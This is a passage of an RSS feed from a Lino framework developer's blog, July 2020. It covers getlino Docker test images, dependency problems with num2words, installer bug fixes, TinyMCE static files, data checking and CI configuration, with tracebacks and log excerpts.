&lt;span class="n"&gt;RUN&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;udo ALL=(ALL) NOPASSWD:ALL&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sudoers&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Do we need 16 rather constant base images that we want to build only once (i.e.
not again and again after each change in getlino).&lt;/p&gt;
&lt;p&gt;We want to add the getlino sources to each image for each test run.&lt;/p&gt;
&lt;p&gt;Should each set of installation instructions be stored in a separate shell
script? That would be easier to maintain. OTOH the current solution permits to
verify the result of every single command line.&lt;/p&gt;
&lt;p&gt;Each installation results in a running web server. How to test whether that
server actually works?&lt;/p&gt;
&lt;p&gt;Maybe we should generate 16 different Dockerfiles from a single template?&lt;/p&gt;
&lt;p&gt;In order to fix Ismail’s problems I should do a getlino release with the recent
bug fixes,&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-the-num2words-package"&gt;
&lt;h2&gt;About the num2words package&lt;a class="headerlink" href="#about-the-num2words-package" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ismail had many error reports that ended like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ismail&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;noi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_noi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/ismail/projects/venv/src/lino-xl/lino_xl/lib/cal/mixins.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;605&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;weekdays_text&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ord_count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;num2words&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;every&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ordinal&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;translation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_language&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;day_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;NameError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Problem&lt;/span&gt; &lt;span class="n"&gt;installing&lt;/span&gt; &lt;span class="n"&gt;fixture&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/home/ismail/projects/venv/src/lino-noi/lino_noi/lib/cal/fixtures/std.py&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;num2words&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I updated &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#contrib-install" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt;.  The &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-r&lt;/span&gt;
&lt;span class="pre"&gt;requirements-include.txt&lt;/span&gt;&lt;/code&gt; was missing in the instructions.  It’s actually a bit
stupid that the contributor needs to run this manually.  Getlino should do this.&lt;/p&gt;
&lt;p&gt;You might wonder why this num2words package causes so much trouble. It is just
one example for a general problem.&lt;/p&gt;
&lt;p&gt;num2words is required only by &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (the calendar plugin). Many
demo projects use this plugin, but not &lt;em&gt;all&lt;/em&gt; projects. We don’t want to simply
add num2words to the dependencies of &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_xl" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because there might be a
Lino application that uses &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_xl" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; without the calendar plugin. For such
an application it would be a pity to install num2words on every production site.&lt;/p&gt;
&lt;p&gt;We might ask “Why don’t we put lino_xl.lib.cal into a Python package on its
own?”. Yes, that would be the right approach. Theoretically. But
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.html#module-lino.modlib" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; contains currently 37 plugins, and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.html#module-lino_xl.lib" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
contains 74. We don’t wnat to create more than 100 new Python packages!
Especially because only some of them have such special requirements. And then it
has historic reasons. When starting the cal plugin we didn’t yet know that one
day we want it to use the num2words package.&lt;/p&gt;
&lt;p&gt;And then Lino has the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-install" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command to fix that problem. The
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements-stable.txt&lt;/span&gt;&lt;/code&gt; file in the book repository is basically the
combined result of running “manage,py install” in every demo project.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0729.html</guid><pubDate>Wed, 29 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 28, 2020</title><link>https://luc.lino-framework.org/blog/2020/0728.html</link><description>&lt;section id="tuesday-july-28-2020"&gt;
&lt;h1&gt;Tuesday, July 28, 2020&lt;a class="headerlink" href="#tuesday-july-28-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="worked-on-developer-guide-and-getlino"&gt;
&lt;h2&gt;Worked on developer guide and getlino&lt;a class="headerlink" href="#worked-on-developer-guide-and-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ismail continues to get started and sends many error reports.&lt;/p&gt;
&lt;p&gt;I reviewed the installation instructions for both developers and contributors
(&lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#dev-install" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#contrib-install" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt;).  I also started to review
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/translate/index.html#dev-translate" title="(in Lino Developer Guide)"&gt;&lt;span&gt;How to contribute translations&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While doing so, I found several bugs in getlino that explain many of the
problems Ismail had.&lt;/p&gt;
&lt;p&gt;For example the bug that caused the following problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/.../lino_local/first/settings.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="n"&gt;use_linod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
               &lt;span class="o"&gt;^&lt;/span&gt;
&lt;span class="ne"&gt;SyntaxError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;invalid&lt;/span&gt; &lt;span class="n"&gt;syntax&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Another bug was that getlino startsite didn’t set DEBUG to True on localhost
(which then caused error messages like “You may need to add ‘127.0.0.1’ to
ALLOWED_HOSTS”, missing SECRET_KEY etc.&lt;/p&gt;
&lt;p&gt;These bugs will be fixed in the next getlino version.  I didn’t yet release
getlino to PyPI because my work on the test suite isn’t finished.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="inserting-templates-in-tinymce-doesn-t-work"&gt;
&lt;h2&gt;Inserting templates in TinyMCE doesn’t work&lt;a class="headerlink" href="#inserting-templates-in-tinymce-doesn-t-work" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Steve reported &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3731"&gt;#3731&lt;/a&gt;, a problem after the weleup1 release: Inserting
templates in TinyMCE doesn’t work anymore. Apache answers to GET
&lt;a class="reference external" href="http://hostname/static/tinymce-3.5.11/plugins/template/template.htm"&gt;http://hostname/static/tinymce-3.5.11/plugins/template/template.htm&lt;/a&gt; with 404.
And indeed, that file doesn’t exist on their site. The reason is that
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;*.htm&lt;/span&gt;&lt;/code&gt; was missing in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-MANIFEST.in" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFEST.in&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of Lino.  I fixed it
manually by copying all &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;*.htm&lt;/span&gt;&lt;/code&gt; from the repository to their static
directory.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0728.html</guid><pubDate>Tue, 28 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Monday, July 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/0727.html</link><description>&lt;section id="monday-july-27-2020"&gt;
&lt;h1&gt;Monday, July 27, 2020&lt;a class="headerlink" href="#monday-july-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="optimized-the-address-data-checker"&gt;
&lt;h2&gt;Optimized the address data checker&lt;a class="headerlink" href="#optimized-the-address-data-checker" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Wow, this week end I went into the 18000 checkdata problem messages at weleup.
For historical reasons they have quite some differences between the partner
addresses and the individual address records.  That’s why I started
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3727"&gt;#3727&lt;/a&gt;.  Our goal is to have Lino fix most of these data issues.  This
must be fool proof and well tested, because invalid data fixes would not turn
out until it’s too late.&lt;/p&gt;
&lt;p&gt;Added 150 lines of doctests in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/addresses.html#lino_xl.lib.addresses.AddressOwnerChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.addresses.AddressOwnerChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the first time I wrote &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-manual-testing" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;manual testing&lt;/span&gt;&lt;/a&gt; instructions targeted to core
developers.  I plan to collect them in a single document, &lt;a class="reference external" href="https://dev.lino-framework.org/mts/index.html#team-mt" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Manual testing suite&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The min9 demo now also has phones and sepa plugins. The idea of this demo is to
have “all” plugins installed for testing purposes.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="advancing-with-the-getlino-test-suite"&gt;
&lt;h2&gt;Advancing with the getlino test suite&lt;a class="headerlink" href="#advancing-with-the-getlino-test-suite" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The getlino test suite did not yet cover the instructions for
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#dev-install" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt;.
I started by writing &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/docker.html#getlino-using-docker" title="(in getlino docs)"&gt;&lt;span&gt;Using Docker to test getlino&lt;/span&gt;&lt;/a&gt;.
I found and fixed some bugs.&lt;/p&gt;
&lt;p&gt;When I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on my machine, I see a series of warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_collections_abc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;833&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But I have no idea what is causing them.&lt;/p&gt;
&lt;p&gt;Ha! After activating &lt;cite&gt;stream=True&lt;/cite&gt;, I found the explanation for a problem that
had been a mystery to me for a while:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mysql_secure_installation


NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB
      SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY!

In order to log into MariaDB to secure it, we&amp;#39;ll need the current
password for the root user.  If you&amp;#39;ve just installed MariaDB, and
you haven&amp;#39;t set the root password yet, the password will be blank,
so you should just press enter here.


Enter current password for root (enter for none):
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0727.html</guid><pubDate>Mon, 27 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, July 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/0725.html</link><description>&lt;section id="saturday-july-25-2020"&gt;
&lt;h1&gt;Saturday, July 25, 2020&lt;a class="headerlink" href="#saturday-july-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="openui5-on-travis"&gt;
&lt;h2&gt;OpenUI5 on Travis&lt;a class="headerlink" href="#openui5-on-travis" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-requirements.txt" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements.txt&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#openui5" title="(in Lino Developer Guide)"&gt;&lt;span&gt;OpenUI5 front end&lt;/span&gt;&lt;/a&gt; was lacking &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt; (which is needed by the lydiaUi5 demo project).
I reviewed the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file for &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#openui5" title="(in Lino Developer Guide)"&gt;&lt;span&gt;OpenUI5 front end&lt;/span&gt;&lt;/a&gt;.
It seems that &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt; has now moved us from &lt;cite&gt;.org&lt;/cite&gt; to &lt;cite&gt;.com&lt;/cite&gt;.  I guess
that it not important for our work.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://travis-ci.com/github/lino-framework/openui5/jobs/364957835"&gt;failure&lt;/a&gt; with
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Exception:&lt;/span&gt; &lt;span class="pre"&gt;No&lt;/span&gt; &lt;span class="pre"&gt;'__file__'&lt;/span&gt; &lt;span class="pre"&gt;in&lt;/span&gt; &lt;span class="pre"&gt;'lino_openui5'.&lt;/span&gt; &lt;span class="pre"&gt;First&lt;/span&gt; &lt;span class="pre"&gt;parameter&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;must&lt;/span&gt; &lt;span class="pre"&gt;be&lt;/span&gt;
&lt;span class="pre"&gt;'globals()'&lt;/span&gt;&lt;/code&gt; was because it was checking out the stable branch of atelier. But
we don’t currently use branches, so this was getting a very old version of
atelier.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="optimizations-for-dealing-with-checkdata-problems-continued"&gt;
&lt;h2&gt;Optimizations for dealing with checkdata problems (continued)&lt;a class="headerlink" href="#optimizations-for-dealing-with-checkdata-problems-continued" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I reviewed &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/checkdata.html#book-specs-checkdata" title="(in Lino Developer Guide)"&gt;&lt;span&gt;checkdata : Application-level data integrity tests&lt;/span&gt;&lt;/a&gt; and started to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3727"&gt;#3727&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0725.html</guid><pubDate>Sat, 25 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Friday, July 24, 2020</title><link>https://luc.lino-framework.org/blog/2020/0724.html</link><description>&lt;section id="friday-july-24-2020"&gt;
&lt;h1&gt;Friday, July 24, 2020&lt;a class="headerlink" href="#friday-july-24-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;At 06:57 a first user started working. This causes Lino to generate
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_210_de.js&lt;/span&gt;&lt;/code&gt;.
At 07:56 the second user connects, she has another &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;user_type&lt;/span&gt;&lt;/code&gt;, so Lino
generates &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_410_de.js&lt;/span&gt;&lt;/code&gt;.
And then, 10 minutes later, we get a traceback.&lt;/p&gt;
&lt;p&gt;Here is the complete apache &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;error.log&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;14.908601&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669353153664&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Attach&lt;/span&gt; &lt;span class="n"&gt;interpreter&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;07.812256&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669235902208&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45053&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;xxxxx&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span 